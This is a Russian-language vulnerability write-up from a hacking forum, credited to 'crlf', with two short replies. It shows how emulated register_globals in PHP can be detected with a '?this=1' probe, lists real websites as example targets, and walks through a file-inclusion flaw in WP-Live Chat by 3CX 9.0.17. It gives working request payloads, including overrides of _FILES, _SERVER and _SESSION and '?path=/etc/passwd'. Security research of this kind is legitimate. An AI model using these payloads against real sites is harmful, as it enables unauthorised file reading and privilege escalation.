• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья $this - это специальная переменная

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332
По мотивам https://krober.biz/?p=3306, с печальным выводом:
Интересно, но бесполезно.
До этого момента, с таким контекстом не встречался и в голову так же не приходило. Поэтому, после прочтения заметки, один юз кейс сразу нарисовался и спешу поделиться с вами :)

Некоторые PHP разработчики, за каким-то хреном, используют эмуляцию почившего режима Register Globals (RG). Выглядеть это может по разному:
PHP:
<?php
extract($_GET);

или
PHP:
<?php
parse_str($_SERVER['QUERY_STRING']);

или
PHP:
<?php
foreach($_GET as $k => $v) $$k = $v;
unset($GET);

и пр.

Понятное дело, что при вайтбоксе оно нам и даром не нужно, у нас же всё как на ладони. Но вот при блекбоксе пых приложух, фишечка может очень сильно помочь задетектить такой вот своеобразный RG. Соответственно, тут всплывают все прелести атак типа:

Код:
http://site.com/upload.php?_FILES[file][name]=image.jpg&_FILES[file][type]=image/jpeg&_FILES[file][tmp_name]=/etc/passwd&_FILES[file][error]=0&_FILES[file][size]=1000

или
Код:
httр://site.com/upload.php?_SERVER[DOCUMENT_ROOT]=zip:///var/lib/php/sessions/sess_test%23

или
Код:
httр://site.com/upload.php?_SESSION[admin]=1

и другие варианты, в зависимости от предполагаемой логики работы чёрного ящика :)

Парочка примеров:
Код:
https://www.novikovgroup.ru/?this=works
https://www.novikovgroup.ru/?thiss=works
https://demo.whmcsadmintheme.com/?this=works
https://demo.whmcsadmintheme.com/?thiss=works


Пользуясь случаем, рассмотрим применение кейса на реальном примере, который был раскручен с его помощью до RFI (Remote File Include).

Для локального воспроизведения нам понадобится WordPress 5.5, а так же плагин WP-Live Chat by 3CX версии 9.0.17, который на текущий момент имеет 50 тысяч активных установок.

DDr3YEd.png


Запускать всё это дело будем на стенде с Debian 9, веб-сервером Apache/2.4.25 и PHP 7.3.15 с включенным выводом ошибок (display_errors = On).

ircGyq9.png


aoUXR7W.png


После нехитрой установки WP и плагина, вычищаем все админские куки и следуем на главную страницу нашего новоиспечённого блога.

p2ISIKI.png


Следующим шагом, проверяем теорию описанную в первом посте, при помощи простейшего теста, с подставлением GET параметра "?this=1".

pr6YFYH.png


Получаем фатальную ошибку, с раскрытием локальных путей, а так же номером строки где она была вызвана. Далее открываем файл в любимом текстовом редакторе и находим это место. Наш кейс всплывает в функии evaluate_php_template:

./wp-live-chat-support/includes/helpers/utils_helper.php:
PHP:
.      .      .
   public static function evaluate_php_template( $path, $args ) {
       foreach ( $args as $key => $value ) {
           ${$key} = $value;
       }

       ob_start();
       include( $path );
       $var = ob_get_contents();
       ob_end_clean();

       return $var;
   }
.      .      .
где невооружённым глазом видно теоретическую возможность удалённого инклуда.

Если скрипт упал в этом месте, значит пользовательский ввод попадает в $args. Для того чтобы убедиться в этом, поищем в коде плагина места где используется эта функия и в свою очередь обнаружим другую функцию - load_view:

./wp-live-chat-support/includes/wplc_base_controller.php:
PHP:
.      .      .
   protected function load_view( $filepath, $return_html=false, $add_wrapper=true, $children = array() ) {
       $data               = $this->convert_view_data( $this->view_data );
       $data["page_title"] = $this->page_title;
       $view_data                    = array_merge( $data, $_GET );
       $view_data['wplc_settings']   = $this->wplc_settings;
       $view_data['selected_action'] = $this->selected_action;
       unset( $data );
       $data_literal = $this->generate_wrapper_data();
       $view_html =TCXUtilsHelper::evaluate_php_template( $filepath, $view_data );
       if($add_wrapper) {
           $result_view = '<div id="wplc_wrapper" ' . $data_literal . '>';
           $result_view .= $view_html;
           $result_view .= '</div>';
       }else
       {
           $result_view = $view_html;
       }
       if ( count( $children ) > 0 ) {
           libxml_use_internal_errors( true );
           $doc               = new DOMDocument();
           $doc->formatOutput = true;
           $doc->loadHTML( $result_view );
           foreach ( $children as $child ) {
               $container_element = $doc->getElementById( $child->id );
               $html              = $child->controller->view(true,false);
               $node              = $this->createElementFromHTML( $doc,$html );
               $container_element->appendChild( $node );
           }
           $result_view = $doc->saveHTML();
       }
       if ( $return_html ) {
           return $result_view;
       } else {
           echo $result_view;
           return true;
       }
   }

.      .      .

На третьей строке этой функции видим, что переменная $data объединяется с массивом $_GET. Это как раз то место, когда пользовательские данные без какой-либо обработки попадают в уязвимую функцию evaluate_php_template. А это значит, мы можем изменить переменную $path на любое значение. И сделав запрос вида http://wordpress/?path=/etc/passwd, убеждаемся в этом:

dqkozcW.png


Или так:

klnpciG.png


pTU8jPD.png


Теперь давайте разбираться как так произошло :)

mDjNNsV.png

ISyT7aM.png

vupK3sS.png


На первом скрине видим, что load_view() в плагине используется повсеместно, для отображения различных страниц темплейтов, с предустановленными зарание переменными и юзеринпутом. Важным аргументом для неё является $filepath, который, как видно, при вызове жёстко прописывается и повлиять на него никак нельзя.

Далее, подготавливаются некие переменные, для подключаемого шаблона, и массив с этими переменными объединяется с $_GET. И через несколько строк, $view_data, с пользовательскими гет данными, отправляется в функцию evaluate_php_template(), куда так же первым аргументом передаётся захардкоженный $filepath.

В следующем методе аргументы $args, возможностями переменных переменных глобализуются или переназначаются (неявно) в контексте нашей функции, вероятно, для заполнения подключаемого темплейта.

Всё бы ничего, но мы передав ?path=/etc/passwd сделали так, что один из ключей перебираемого массива $args является "path", что переназначит значение, казалось бы жёстко прописанной, переменной $path переданой заранее!

$this is the end ;)


Автор материала и статьи crlf - шлем crlf жирные плюсы
взято с antichat
 
3cx и так жизнью побиты уже, ещё и тут проебались

Это ещё мягко сказано, в 2к20 так писать нельзя :confused: Думал уязвимости типа RFI остались где-то там в нулевых.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх